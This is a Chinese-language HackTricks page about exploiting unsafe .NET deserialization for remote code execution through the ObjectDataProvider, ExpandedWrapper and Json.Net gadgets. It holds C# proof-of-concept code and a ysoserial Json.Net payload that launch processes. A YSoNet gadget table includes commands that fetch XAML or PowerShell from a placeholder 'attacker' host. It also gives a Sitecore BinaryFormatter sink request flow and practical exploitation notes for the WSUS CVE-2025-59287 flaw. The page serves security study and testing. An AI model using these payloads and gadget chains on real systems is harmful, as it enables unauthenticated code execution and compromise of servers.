基本 .Net 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本文旨在讲解如何利用 ObjectDataProvider gadget 获取 RCE,以及如何在该 gadget 下滥用 Json.Net 和 xmlSerializer 等序列化库。

ObjectDataProvider Gadget

根据文档:ObjectDataProvider 类封装并创建一个可用作绑定源的对象.\ 嗯,这解释有点奇怪,接下来看看这个类有什么有趣之处:该类允许 封装任意对象,使用 MethodParameters 设置任意参数, 然后 使用 MethodName 调用该任意对象上用这些任意参数声明的任意函数.\ 因此,任意对象会在被反序列化时带着参数执行一个函数

这是如何实现的

ObjectDataProvider 定义和实现于 System.Windows.Data 命名空间,位于 PresentationFramework.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF 下。

使用 dnSpy 你可以 检查我们感兴趣的类的代码。在下面的图片中我们看到的是 PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name 的代码。

如你所见,当设置 MethodName 时会调用 base.Refresh(),我们来看看它做了什么:

好,继续看看 this.BeginQuery() 做了什么。BeginQueryObjectDataProvider 中被重写,内容如下:

注意在代码末尾它调用了 this.QueryWorke(null)。我们来看看那会执行什么:

注意这并不是 QueryWorker 函数的完整代码,但它显示了关键信息:代码 调用了 this.InvokeMethodOnInstance(out ex);,这就是方法集合被调用的那一行。

如果你想验证仅设置 MethodName 就会被执行,你可以运行这段代码:

C# demo: ObjectDataProvider triggers Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

注意:需要将引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 添加到项目中以加载 `System.Windows.Data`

## ExpandedWrapper

使用前面的 exploit 时,可能会出现对象被反序列化为 _**ObjectDataProvider**_ 实例的情况(例如在 DotNetNuke vuln 中,使用 XmlSerializer 时,对象是通过 `GetType` 反序列化的)。在这种情况下,_ObjectDataProvider_ 实例中被封装的对象类型(例如 `Process`)将 **不可知**。你可以在此处找到更多关于 DotNetNuke vuln 的信息:[information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。

该类允许**指定给定实例中被封装对象的类型**。因此,该类可用于将源对象 (_ObjectDataProvider_) 封装为新的对象类型,并提供我们需要的属性(_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这对于前面描述的情形非常有用,因为我们可以将 _ObjectDataProvider_ 封装到一个 _ExpandedWrapper_ 实例中,反序列化时该类会创建 _ObjectDataProvider_ 对象,并执行在 _MethodName_ 中指定的函数。

你可以用下面的代码检查这个 wrapper:

<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

official web page 中指出,该库允许使用 Json.NET 强大的 JSON 序列化器来序列化和反序列化任何 .NET 对象。因此,如果我们能够 反序列化 ObjectDataProvider gadget,仅通过反序列化一个对象就能导致 RCE

Json.Net example

首先让我们看一个示例,说明如何使用该库序列化/反序列化一个对象:

C# demo: Json.NET serialize/deserialize ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### 滥用 Json.Net

使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了 exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

在这段代码中你可以测试 exploit,只需运行它,你会看到 calc 被执行:

C# 演示: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## 高级 .NET Gadget Chains (YSoNet & ysoserial.net)

上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是应用在当程序执行 **unsafe .NET deserialization** 时可被滥用的许多 gadget chains 之一。现代 red-team 工具(例如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较早的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))可以自动生成针对数十种 gadget 和序列化格式的 **ready-to-use malicious object graphs**。

下面是随 *YSoNet* 提供的一些最有用链的精简参考,包含它们的工作原理简述和生成 payload 的示例命令。

| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | 破坏 `DelegateSerializationHolder` 记录,使其在实例化后,委托指向任意攻击者提供的方法(例如 `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 以*绕过 .NET ≥4.8 的类型过滤*,并直接调用所提供类的**构造函数**或实时**编译**一个 C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的**旧版 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5)中,串联属性 getter 直到到达 `System.CodeDom.Compiler.CompilerResults`,然后*编译*或*加载*由 `-c` 提供的 DLL | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | 使用 WPF 的 `System.Windows.Data.ObjectDataProvider` 调用具有受控参数的任意静态方法。YSoNet 提供了方便的 `--xamlurl` 变体以远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入到 `System.Management.Automation.PSObject` 中,PowerShell 反序列化该对象时会执行它 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> 所有 payload 默认**写入 *stdout***,因此很容易将其管道到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。

### 构建 / 安装 YSoNet

如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,下面的 **PowerShell** 一行命令将设置构建环境、克隆仓库并以 *Release* 模式编译所有内容:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

已编译的 ysonet.exe 可以在 ysonet/bin/Release/ 下找到。

真实世界的 sink: Sitecore convertToRuntimeHtml → BinaryFormatter

一个可在已认证的 Sitecore XP Content Editor 流程中访问到的实用 .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string) 封装了 new BinaryFormatter().Deserialize(...)
  • 触发路径:pipeline convertToRuntimeHtmlConvertWebControls,它会搜索具有 id="{iframeId}_inner" 的兄弟元素并读取其 value 属性,该属性被视为 base64 编码的序列化数据。结果被强制转换为字符串并插入到 HTML 中。
已认证的 Sitecore sink 触发 HTTP 流程 ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…

</details>

- Gadget: 任何返回字符串的 BinaryFormatter 链(在反序列化期间运行副作用)。参见 YSoNet/ysoserial.net 生成 payloads。

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## 案例研究:WSUS 不安全的 .NET 反序列化 (CVE-2025-59287)

- 产品/角色:Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025。
- 攻击面:IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531(通常在内部暴露;对互联网暴露属于高风险)。
- 根本原因:使用旧的格式化器对攻击者控制的数据进行未认证反序列化:
  - `GetCookie()` endpoint 反序列化了一个用 `BinaryFormatter` 的 `AuthorizationCookie`。
  - `ReportingWebService` 通过 `SoapFormatter` 执行不安全的反序列化。
- 影响:精心构造的序列化对象在反序列化期间触发 gadget 链,导致在 WSUS 服务 (`wsusservice.exe`) 或 IIS 应用池 `wsuspool` (`w3wp.exe`) 下以 `NT AUTHORITY\SYSTEM` 执行任意代码。

实战利用说明
- 发现:扫描 TCP 8530/8531 上的 WSUS。将任何到达 WSUS web methods 的 pre-auth 序列化 blob 视为 `BinaryFormatter`/`SoapFormatter` payloads 的潜在 sink。
- Payloads:使用 YSoNet/ysoserial.net 生成 `BinaryFormatter` 或 `SoapFormatter` 链(例如,`TypeConfuseDelegate`、`ActivitySurrogateSelector`、`ObjectDataProvider`)。
- 成功时预期的进程谱系:
  - `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
  - `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>